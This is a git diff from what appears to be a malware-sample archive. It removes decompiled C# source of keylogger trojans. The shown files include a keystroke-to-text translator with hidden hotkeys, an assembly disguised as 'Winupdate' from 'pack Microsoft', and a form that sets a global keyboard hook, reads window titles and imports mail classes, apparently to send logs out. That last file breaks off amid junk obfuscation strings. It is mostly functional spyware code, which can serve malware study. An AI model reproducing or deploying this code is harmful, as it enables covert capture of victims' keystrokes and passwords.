P8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAAAP///////////////////////////////////////////////////////////////////////////////////////////////////wQECAgICQQEL////////////////////////////y8EBBsnJzUnJx4LBAT//////////////////////wQEDis7PT09PT09PT0tFAQ5//////////////////8/BCA4ODk4ODg4ODg4ODg4JA0E////////////////DQ0qMjIyMjIyMjIyMjIyMjMyKw8//////////////0b/OSotLCwtLCwsLCwsLS0tLS0sKg8E////////////BBwkIyQkJCMkIyQkJCQjIyMjIyMkIBFH/////////z8tJR4eHh4eHh4sLjs8QUlJSUlJSS8eFgT///////8n/xYZICoyOkFKWVlZWVlZWVlZWVlZUioYElT//////1T/VFhZWVlZWVlZWVlZWVlZWVlZWVlNNhIPBP//////DSpZWVlZWVlZWVlZWVlZWVlZWVlZWU0vDQ8RVv///yf/P1ZUWFlZTFlZWVlZWVlZWU1NWVlZTR4JBAkE////G/8nT1hZV1k+Pj4+TExMTU1NTVlZWVlWDQkEElT///8nDwQEHD9YWVk+Pj4+Pj4+Pj5NWVlZWTYECQQEBP///wQEBA0EBBZEWVZZPj4+Pj4+PllZWVhYEgQEBBFW////KBEEBAQECQQ/WVlZPj4+Pj5ZWVlZWTUEBAQNBAT///8gDQQEBAQJBAtOWVlZPj4+PllZWFhUDQQEBAQYWf///0L/NQQEBAQECSJYWVk+Pj5ZWVlZWB8EBA0EBAQU/////wQEBAQLBAkEBEhZWT4+TVlYVFg2BAQEBAQRVv//////WSgRBA0EBAQENVhZTT5ZWVJYQgQEBAQNBA8g////////BAQEBAQEDRwuWVlNWVhYVk8gHhEEBAQv/1n///////9ZNhgEBBInJzVYWFlWWFhFKicnJxEEBAQE//////////8SBAQEIC8vOVhYWFZPOy8vLy8vKAQWOVn///////////9ZGwQvNjlAVlZKPzY2NjY2Njk1BAQR/////////////zYgJyo8PT9GRjw/PT88Pz08Py88Wf////////////////9Z/1ZERkJCRkJEQkJEQj0bETb///////////////////82EQ8vQkZGRkpPSjk1PFn/////////////////////////WUY8HBYRFg8EETZH/////////////////////////////zk1Ly85RFn///////////////////////////////////////////////////////////////////g////AB///AAH//AAAf/gAAD/wAAAf8AAAD+AAAA/AAAAHwAAAB4AAAAOAAAADgAAAA4AAAAOAAAABgAAAAYAAAAGAAAADgAAAA4AAAAPAAAADwAAAB8AAAAfgAAAP8AAAH/gAAB/8AAA//gAA//8AAf//4A///////ygAAAAQAAAAIAAAAAEAIAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9/PwT+aDY4/2k5UP5oNkL/ZzcgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/2YzFP5nOIz+aTft/35U//+LZP//hVz//3RG//5oN83+ZzhWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/mk3Lv5pOeP/i2X//7qj///Fsv//xbL//8Wy///Fsv//qIz//3dL//1oN6H/fz8EAAAAAAAAAAAAAAAA/mQ2HP5pN+H/lnT//62T//+tk///rZP//62T//+tk///rZP//62T//+qj///fVP//Wg4nwAAAAAAAAAAAAAAAP1pN7P/hl7//5Z0//+WdP//lnT//5t7//+qjv//tZ3//7+r//+/q///v6v//5t8//9vQf/+ZjdSAAAAAP9qOjD+aTfh/7mh///Nvf//3dH//+7o//////////////////////////////////vPwf//d0v//mk3yQAAAAD/aTeA/opi+//8+///////+Pj4///////////////////////7+/v/+/v7///////3x7j//24+//9pOP/+azoa/mg3pv52SvH/tp////Hs//X19f/Y2Nj/29vb/93d3f/k5OT/6enp/////////////6OE//9pOP//aTj//mo5Pv5pN67/aTj//2k4//9vQP//xLH///38/+Li4v/Y2Nj/2NjY//X19f///////+zm//9tPf//aTj//2k4//5qOEj+aDeS/mg4/f9pOP//aTj//2o6///f1f//////2NjY/+Li4v////////////+Wc///aTj//2k4//9pOP/+ZzYq/2k5UP9pOP//aTj//2k4//9pOP//m3r//////97e3v/7+/v///j1//+/qv//aTj//2k4//9pOP/+aDfl/38AAv9VKgb+aTjf/2k4//9pOP//fFH//6SH///////7+fj///7+///azv//mHf//39V//9pOP/+aDj9/2k3gAAAAAAAAAAA/mc3Sv5oOP3/aTj//6yQ///Aq////////+3n///Mu///tp3//7ad//+wlv//aTj//mg42f9qPwwAAAAAAAAAAAAAAAD+Zzhs/mg4/f6fgPP/1Mb//9zR///TxP//08T//9PE///Ovv//km///mk43/5qOCQAAAAAAAAAAAAAAAAAAAAAAAAAAP5nN0r+aDfb/31T//+pjP//s5r//7KY//+efv//dEf//Wc4p/5oORYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/1UqBv5mOEj+aDeO/2k3oP9pN6D+aTZ0/mQ1JgAAAAAAAAAAAAAAAAAAAAAAAAAA//8AAPAfAADgBwAAwAMAAIADAACAAQAAAAEAAAABAAAAAQAAAAEAAIABAACAAQAAwAMAAOAHAADwDwAA/H8AACgAAAAQAAAAIAAAAAEACAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAD//18///5oN///aDf//2o1//5oOP//aDj//2o5//9tPf//bj7//29A//90Rv//d0r//3xS//9+VP//hVz//4Ze//+KY///i2T//5Jv//+Wc///lnT//5h3//+bev//m3z//55+//+fgP//o4T//6SH//+ojP//qo7//6yS//+wlv//spn//7Wd//+2nf//uaH//7qj//+/qv//wKv//8Sx//fHuP//zLv//829///Ovv/Y2Nj/29vb/93d3f/e3t7/+8/B///TxP//1Mb//9rO///c0f//39X/4uLi/+Tk5P/p6en//+zm///u6P//8ez/9fX1///49f/4+Pj/+/n4//v7+////Pv///38///+/v8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAAA/////////////////////////////ycSDwz/////////////EiUoKCgoHiT/////////NCAfIB8fHyAeDv//////EBQUFBceIycnJxsg/////0Q2NjtDREREQ0MxDP////8+QD9DQ0RDQUA+KgwZ////Ojo7LS4vNzlCQxsEBP//CwQLKEI3LS09PjYEDx7///8jBAQ2Pi03Qj4UBAQL//8LBAQEF0IvPjsnDBcy/////zQkFBs+Pj40FA4E////////IyQnPjoqIyo0Mv//////////RDoyMjIyF////////////yQ2NjYyJP//////////////////////////////AADwHwAA4AcAAMADAACAAwAAgAEAAAABAAAAAQAAAAEAAAABAACAAQAAgAEAAMADAADgBwAA8A8AAPx/AAAL - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/᡾.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/᡾.cs deleted file mode 100644 index 38d6c3a2..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/᡾.cs +++ /dev/null @@ -1,428 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ᡾ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using KeyLogger.Properties; - -internal static class \u187E -{ - private static string ᡆᙃ(char ᙂ, ᡘ ᙄ) - { - try - { - if (!Settings.Default.SpecialKeysDisabled) - { - switch (Settings.Default.SpecialKeys) - { - case 1: - if ((ណ.រ(ᡈ.VK_TAB) == (short) -32767 || ណ.រ(ᡈ.VK_TAB) == short.MinValue) && (ណ.រ(ᡈ.VK_HOME) == (short) -32767 || ណ.រ(ᡈ.VK_HOME) == short.MinValue) && (ណ.រ(ᡈ.VK_END) == (short) -32767 || ណ.រ(ᡈ.VK_END) == short.MinValue)) - { - \u17C6.Instance.showLogger(); - return ᙵ.\u1816ᙃ; - } - break; - case 2: - if ((ណ.រ(ᡈ.VK_LSHIFT) == (short) -32767 || ណ.រ(ᡈ.VK_LSHIFT) == short.MinValue) && (ណ.រ(ᡈ.VK_RSHIFT) == (short) -32767 || ណ.រ(ᡈ.VK_RSHIFT) == short.MinValue) && (ណ.រ(ᡈ.VK_F12) == (short) -32767 || ណ.រ(ᡈ.VK_F12) == short.MinValue)) - { - \u17C6.Instance.showLogger(); - return ᙵ.\u1800ᙃ; - } - break; - case 3: - if ((ណ.រ(ᡈ.VK_LSHIFT) == (short) -32767 || ណ.រ(ᡈ.VK_LSHIFT) == short.MinValue) && (ណ.រ(ᡈ.VK_LCONTROL) == (short) -32767 || ណ.រ(ᡈ.VK_LCONTROL) == short.MinValue) && (ណ.រ(ᡈ.VK_F1) == (short) -32767 || ណ.រ(ᡈ.VK_F1) == short.MinValue)) - { - \u17C6.Instance.showLogger(); - return ᙵ.\u181Aᙃ; - } - break; - } - } - if (ណ.ក(ᡈ.VK_CAPITAL) == (short) 1) - return string.Concat((object) char.ToUpper(ᙂ)); - if (ណ.រ(ᡈ.VK_LSHIFT) != (short) -32767 && ណ.រ(ᡈ.VK_RSHIFT) != (short) -32767 && ណ.រ(ᡈ.VK_LSHIFT) != short.MinValue) - { - if (ណ.រ(ᡈ.VK_RSHIFT) != short.MinValue) - goto label_39; - } - if (char.IsLetter(ᙂ)) - return string.Concat((object) char.ToUpper(ᙂ)); - if (char.IsNumber(ᙂ)) - { - switch (ᙂ) - { - case '0': - return ")"; - case '1': - return "!"; - case '2': - return "@"; - case '3': - return "#"; - case '4': - return "$"; - case '5': - return "%"; - case '6': - return "^"; - case '7': - return "&"; - case '8': - return "*"; - case '9': - return "("; - } - } - else - { - switch (ᙂ) - { - case '\'': - return ᙵ.\u1819ᙃ; - case ',': - return "<"; - case '-': - return "_"; - case '.': - return ">"; - case '/': - return ᙵ.\u181Eᙃ; - case ';': - return ":"; - case '=': - return "+"; - case '[': - return "{"; - case '\\': - return "|"; - case ']': - return "}"; - case '`': - return "~"; - } - } - } - catch - { - } -label_39: - return string.Concat((object) ᙂ); - } - - public static string ᡒ(ᡘ vk) - { - do - ; - while (false); - string str = ""; - switch (vk) - { - case ᡘ.VK_BACK: - str = "[backspace]"; - break; - case ᡘ.VK_TAB: - str = \u187E.ᡆᙃ(' ', vk); - if (str.Equals(" ")) - { - str = "[tab]"; - break; - } - break; - case ᡘ.VK_RETURN: - str = "[return]"; - break; - case ᡘ.VK_CAPITAL: - str = "[caps lock]"; - break; - case ᡘ.VK_SPACE: - str = " "; - break; - case ᡘ.VK_END: - str = \u187E.ᡆᙃ(' ', vk); - if (str.Equals(" ")) - { - str = "[end]"; - break; - } - break; - case ᡘ.VK_HOME: - str = \u187E.ᡆᙃ(' ', vk); - if (str.Equals(" ")) - { - str = "[home]"; - break; - } - break; - case ᡘ.VK_DELETE: - str = "[delete]"; - break; - case ᡘ.VK_0: - str = \u187E.ᡆᙃ('0', vk); - break; - case ᡘ.VK_1: - str = \u187E.ᡆᙃ('1', vk); - break; - case ᡘ.VK_2: - str = \u187E.ᡆᙃ('2', vk); - break; - case ᡘ.VK_3: - str = \u187E.ᡆᙃ('3', vk); - break; - case ᡘ.VK_4: - str = \u187E.ᡆᙃ('4', vk); - break; - case ᡘ.VK_5: - str = \u187E.ᡆᙃ('5', vk); - break; - case ᡘ.VK_6: - str = \u187E.ᡆᙃ('6', vk); - break; - case ᡘ.VK_7: - str = \u187E.ᡆᙃ('7', vk); - break; - case ᡘ.VK_8: - str = \u187E.ᡆᙃ('8', vk); - break; - case ᡘ.VK_9: - str = \u187E.ᡆᙃ('9', vk); - break; - case ᡘ.VK_A: - str = \u187E.ᡆᙃ('a', vk); - break; - case ᡘ.VK_B: - str = \u187E.ᡆᙃ('b', vk); - break; - case ᡘ.VK_C: - str = \u187E.ᡆᙃ('c', vk); - break; - case ᡘ.VK_D: - str = \u187E.ᡆᙃ('d', vk); - break; - case ᡘ.VK_E: - str = \u187E.ᡆᙃ('e', vk); - break; - case ᡘ.VK_F: - str = \u187E.ᡆᙃ('f', vk); - break; - case ᡘ.VK_G: - str = \u187E.ᡆᙃ('g', vk); - break; - case ᡘ.VK_H: - str = \u187E.ᡆᙃ('h', vk); - break; - case ᡘ.VK_I: - str = \u187E.ᡆᙃ('i', vk); - break; - case ᡘ.VK_J: - str = \u187E.ᡆᙃ('j', vk); - break; - case ᡘ.VK_K: - str = \u187E.ᡆᙃ('k', vk); - break; - case ᡘ.VK_L: - str = \u187E.ᡆᙃ('l', vk); - break; - case ᡘ.VK_M: - str = \u187E.ᡆᙃ('m', vk); - break; - case ᡘ.VK_N: - str = \u187E.ᡆᙃ('n', vk); - break; - case ᡘ.VK_O: - str = \u187E.ᡆᙃ('o', vk); - break; - case ᡘ.VK_P: - str = \u187E.ᡆᙃ('p', vk); - break; - case ᡘ.VK_Q: - str = \u187E.ᡆᙃ('q', vk); - break; - case ᡘ.VK_R: - str = \u187E.ᡆᙃ('r', vk); - break; - case ᡘ.VK_S: - str = \u187E.ᡆᙃ('s', vk); - break; - case ᡘ.VK_T: - str = \u187E.ᡆᙃ('t', vk); - break; - case ᡘ.VK_U: - str = \u187E.ᡆᙃ('u', vk); - break; - case ᡘ.VK_V: - str = \u187E.ᡆᙃ('v', vk); - break; - case ᡘ.VK_W: - str = \u187E.ᡆᙃ('w', vk); - break; - case ᡘ.VK_X: - str = \u187E.ᡆᙃ('x', vk); - break; - case ᡘ.VK_Y: - str = \u187E.ᡆᙃ('y', vk); - break; - case ᡘ.VK_Z: - str = \u187E.ᡆᙃ('z', vk); - break; - case ᡘ.VK_NUMPAD0: - str = "0"; - break; - case ᡘ.VK_NUMPAD1: - str = "1"; - break; - case ᡘ.VK_NUMPAD2: - str = "2"; - break; - case ᡘ.VK_NUMPAD3: - str = "3"; - break; - case ᡘ.VK_NUMPAD4: - str = "4"; - break; - case ᡘ.VK_NUMPAD5: - str = "5"; - break; - case ᡘ.VK_NUMPAD6: - str = "6"; - break; - case ᡘ.VK_NUMPAD7: - str = "7"; - break; - case ᡘ.VK_NUMPAD8: - str = "8"; - break; - case ᡘ.VK_NUMPAD9: - str = "9"; - break; - case ᡘ.VK_MULTIPLICATION: - str = "*"; - break; - case ᡘ.VK_ADDITION: - str = "+"; - break; - case ᡘ.VK_SEPERATOR: - str = "|"; - break; - case ᡘ.VK_SUBTRACT: - str = "-"; - break; - case ᡘ.VK_DECIMAL: - str = "."; - break; - case ᡘ.VK_DIVIDE: - str = "/"; - break; - case ᡘ.VK_F1: - str = \u187E.ᡆᙃ(' ', vk); - if (str.Equals(" ")) - { - str = "[F1]"; - break; - } - break; - case ᡘ.VK_F2: - str = "[F2]"; - break; - case ᡘ.VK_F3: - str = "[F3]"; - break; - case ᡘ.VK_F4: - str = "[F4]"; - break; - case ᡘ.VK_F5: - str = "[F5]"; - break; - case ᡘ.VK_F6: - str = "[F6]"; - break; - case ᡘ.VK_F7: - str = "[F7]"; - break; - case ᡘ.VK_F8: - str = "[F8]"; - break; - case ᡘ.VK_F9: - str = "[F9]"; - break; - case ᡘ.VK_F10: - str = "[F10]"; - break; - case ᡘ.VK_F11: - str = "[F11]"; - break; - case ᡘ.VK_F12: - str = \u187E.ᡆᙃ(' ', vk); - if (str.Equals(" ")) - { - str = "[F12]"; - break; - } - break; - case ᡘ.VK_NUMLOCK: - str = "[numlock]"; - break; - case ᡘ.VK_LSHIFT: - str = \u187E.ᡆᙃ(' ', vk); - if (str.Equals(" ")) - { - str = ""; - break; - } - break; - case ᡘ.VK_RSHIFT: - str = \u187E.ᡆᙃ(' ', vk); - if (str.Equals(" ")) - { - str = ""; - break; - } - break; - case ᡘ.VK_LCONTROL: - str = \u187E.ᡆᙃ(' ', vk); - if (str.Equals(" ")) - { - str = "[lctrl]"; - break; - } - break; - case ᡘ.VK_RCONTROL: - str = "[rctrl]"; - break; - case ᡘ.VK_OEM_1: - str = \u187E.ᡆᙃ(';', vk); - break; - case ᡘ.VK_OEM_PLUS: - str = \u187E.ᡆᙃ('=', vk); - break; - case ᡘ.VK_OEM_COMMA: - str = \u187E.ᡆᙃ(',', vk); - break; - case ᡘ.VK_OEM_MINUS: - str = \u187E.ᡆᙃ('-', vk); - break; - case ᡘ.VK_OEM_PERIOD: - str = \u187E.ᡆᙃ('.', vk); - break; - case ᡘ.VK_OEM_2: - str = \u187E.ᡆᙃ('/', vk); - break; - case ᡘ.VK_OEM_3: - str = \u187E.ᡆᙃ('`', vk); - break; - case ᡘ.VK_OEM_4: - str = \u187E.ᡆᙃ('[', vk); - break; - case ᡘ.VK_OEM_5: - str = \u187E.ᡆᙃ('\\', vk); - break; - case ᡘ.VK_OEM_6: - str = \u187E.ᡆᙃ(']', vk); - break; - case ᡘ.VK_OEM_7: - str = \u187E.ᡆᙃ('\'', vk); - break; - } - return str; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/AssemblyInfo.cs deleted file mode 100644 index 34efba99..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyProduct("pack Microsoft")] -[assembly: AssemblyTrademark("pack Microsoft")] -[assembly: AssemblyCompany("pack Microsoft")] -[assembly: AssemblyDescription("pack Microsoft")] -[assembly: AssemblyTitle("Winupdate")] -[assembly: AssemblyCopyright("Copyright © 2009")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: Guid("5e3819e8-0565-43f3-8a4a-3638cdff3158")] -[assembly: ComVisible(false)] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/Form1.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/Form1.cs deleted file mode 100644 index c5356b05..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/Form1.cs +++ /dev/null @@ -1,3816 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: KeyLoggerHook.Form1 -// Assembly: KeyLoggerHook, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 26063B71-F70D-47F2-A7CD-9491A0DD6717 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9.exe - -using KeyLoggerHook.My; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.Net; -using System.Net.Mail; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Threading; -using System.Windows.Forms; - -namespace KeyLoggerHook -{ - [DesignerGenerated] - public class Form1 : Form - { - private static List __ENCList = new List(); - private IContainer components; - [AccessedThroughProperty("TextBox1")] - private TextBox _TextBox1; - [AccessedThroughProperty("Timer1")] - private System.Windows.Forms.Timer _Timer1; - private huhuhuiifyuhuyufuf KthhtrtrhtrhrthrthL; - private int load; - private int minute; - private int heure; - private int nombreenvoie; - private int time; - private int tempsavant; - private string id; - private string pass; - private string idpig; - private int pwdUPPER; - private int pwdLOWER; - private int pwdMIXED; - - [DebuggerNonUserCode] - static Form1() - { - } - - public Form1() - { - this.Load += new EventHandler(this.Form1_Load); - this.Leave += new EventHandler(this.Form1_Leave); - this.FormClosing += new FormClosingEventHandler(this.FormMain_FormClosing); - lock (Form1.__ENCList) - Form1.__ENCList.Add(new WeakReference((object) this)); - this.KthhtrtrhtrhrthrthL = new huhuhuiifyuhuyufuf(); - this.pwdUPPER = 1; - this.pwdLOWER = 2; - this.pwdMIXED = 3; - this.InitializeComponent(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.components = (IContainer) new System.ComponentModel.Container(); - this.TextBox1 = new TextBox(); - this.Timer1 = new System.Windows.Forms.Timer(this.components); - this.SuspendLayout(); - this.TextBox1.Enabled = false; - this.TextBox1.Font = new Font("Microsoft Sans Serif", 11.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); - this.TextBox1.Location = new Point(12, 12); - this.TextBox1.Multiline = true; - this.TextBox1.Name = "TextBox1"; - this.TextBox1.ScrollBars = ScrollBars.Vertical; - TextBox textBox1 = this.TextBox1; - Size size1 = new Size(97, 13); - Size size2 = size1; - textBox1.Size = size2; - this.TextBox1.TabIndex = 1; - this.TextBox1.TabStop = false; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - size1 = new Size(153, 61); - this.ClientSize = size1; - this.Controls.Add((Control) this.TextBox1); - this.Name = nameof (Form1); - this.ResumeLayout(false); - this.PerformLayout(); - } - - internal virtual TextBox TextBox1 - { - [DebuggerNonUserCode] get => this._TextBox1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value; - } - - internal virtual System.Windows.Forms.Timer Timer1 - { - [DebuggerNonUserCode] get => this._Timer1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer1_Tick); - if (this._Timer1 != null) - this._Timer1.Tick -= eventHandler; - this._Timer1 = value; - if (this._Timer1 == null) - return; - this._Timer1.Tick += eventHandler; - } - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int UnhookWindowsHookEx(int hHook); - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetWindowsHookEx( - int idHook, - Form1.KeyboardHookDelegate lpfn, - int hmod, - int dwThreadId); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CallNextHookEx( - int hHook, - int nCode, - int wParam, - huhuhuiifyuhuyufuf.KBDLLHOOKSTRUCT lParam); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - private void recupdonné() - { - int num1 = (int) MessageBox.Show("EI5RIDMGN7CENE"); - int num2 = (int) MessageBox.Show("L75MEXVKYNFJ"); - int num3 = (int) MessageBox.Show("RG1YJPDEPAILJMLT2LF"); - int num4 = (int) MessageBox.Show("CMKLYIUGN3YAPFLEBHT5XFUQBGV"); - int num5 = (int) MessageBox.Show("S8NLTUUMH6KMX"); - int num6 = (int) MessageBox.Show("FCRCGHGU2VCPTVBT1JRPHMJTZTKTQSIKRSKZZRV"); - int num7 = (int) MessageBox.Show("TM3YVDSXECS9TIERBHPQHTBWP"); - int num8 = (int) MessageBox.Show("EVXVLBDCJT8ABDAE2"); - int num9 = (int) MessageBox.Show("DHTYM1MGPUBEMQACBCQU5LNQZECQHJJPRVAALNF"); - int num10 = (int) MessageBox.Show("PCU5NH2XLDFF"); - int num11 = (int) MessageBox.Show("MZ9XXTDAXDIVXU2XWIUX"); - int num12 = (int) MessageBox.Show("UNDMRCTUPESZKCKCQYJYDDQHM8ZJPXDLE9J"); - int num13 = (int) MessageBox.Show("JLZY1EJTL1ZJB"); - int num14 = (int) MessageBox.Show("VAFVFCKFYIGIFHHNWXAZDJYCU8UTGWRHQIB6"); - int num15 = (int) MessageBox.Show("RKQ9CBWQ2UKEHBAZXVA"); - int num16 = (int) MessageBox.Show("YKIGPXZLZMUWQBBLGWDATADC7UNDWYVHIC2K"); - int num17 = (int) MessageBox.Show("P3MFGVVHIHPPYMUWDCNXDHFK2MKZYWYFSBTA"); - int num18 = (int) MessageBox.Show("REHJTBWABF6WMES7DZDNKPGH"); - int num19 = (int) MessageBox.Show("JTWHUCTSKIVAVVSKXTUWJ1IXDR7UNYLYNYPZ"); - int num20 = (int) MessageBox.Show("LEUQYRKAT2HVYL2HNYERESSLWVPGCJVVYDFAUE"); - int num21 = (int) MessageBox.Show("UJPTDWKARAKNK1WTPDVYPL4HILDRFMQVYK"); - int num22 = (int) MessageBox.Show("HPIFZD1EUCUVFZGVVXZN8NGMUFWZRLVR"); - int num23 = (int) MessageBox.Show("MNQT5YUMNLKQMKZDZPPJBVTMGXHY5DVNP"); - int num24 = (int) MessageBox.Show("RBHTZIQBJLSGHNFFKWUL8ZYFZGQCUDR9GLC"); - int num25 = (int) MessageBox.Show("BTCZFXVYJNHFQPWPMXINCK6YLMZLAUATDRU6C"); - int num26 = (int) MessageBox.Show("RXJ8YCWCZUHBTEQMFNHUBYCVQACCZDJWRX4YFVIAB"); - int num27 = (int) MessageBox.Show("RQFNGYWZCUDQRPSF9ZUTPGDCB9XSQM"); - int num28 = (int) MessageBox.Show("WXQAUKDYKUMTMJF1VYMXFDNSPAMVDQ4MRKBTZDLUNY"); - int num29 = (int) MessageBox.Show("TFMQVWCJUSMEZSY7JCVGJDB3THNHKUVYVTKENLIT"); - int num30 = (int) MessageBox.Show("YHAEZC6DUDUKB9JFYUHEVQWGKLNDYR"); - int num31 = (int) MessageBox.Show("A1NTWL1GCVMZ"); - int num32 = (int) MessageBox.Show("MZXBKGANEK8RNLEXNZRJABPN7UGJKUI"); - int num33 = (int) MessageBox.Show("RG6HSIE1SMGKTXPQSUWRSFUWAAEVYMETTITKYU"); - int num34 = (int) MessageBox.Show("ZHDNK1NDL5HWKQCI"); - int num35 = (int) MessageBox.Show("DGFMVN4P9VAEC"); - int num36 = (int) MessageBox.Show("QFJ1GLZVNF5QQWGXG"); - int num37 = (int) MessageBox.Show("XG4YYPSZVRZPZHBDGNZZQBEGBTEKIBHB6R"); - int num38 = (int) MessageBox.Show("AIWEKWEP4JZUK3SVXJFFAMKPZHSXMDFENJNFLVHVC"); - int num39 = (int) MessageBox.Show("XU7BNDCC8HECCLGHYUXVRHPBZRATPXC"); - int num40 = (int) MessageBox.Show("CLXMCESAEA1QXUFUM5JCWBH"); - int num41 = (int) MessageBox.Show("6HIYKIS9FPYVQBI"); - int num42 = (int) MessageBox.Show("A1FYTBQNFDUIZYBU6KVKFIFJM"); - int num43 = (int) MessageBox.Show("2MVSAGXZAAAWARWBE7L"); - int num44 = (int) MessageBox.Show("HASXTPWA4LQTUYRGEUX8BBIHL"); - int num45 = (int) MessageBox.Show("YJJ8TRIFMQGQ5NZRWGTTXTZQYCWSSFB"); - int num46 = (int) 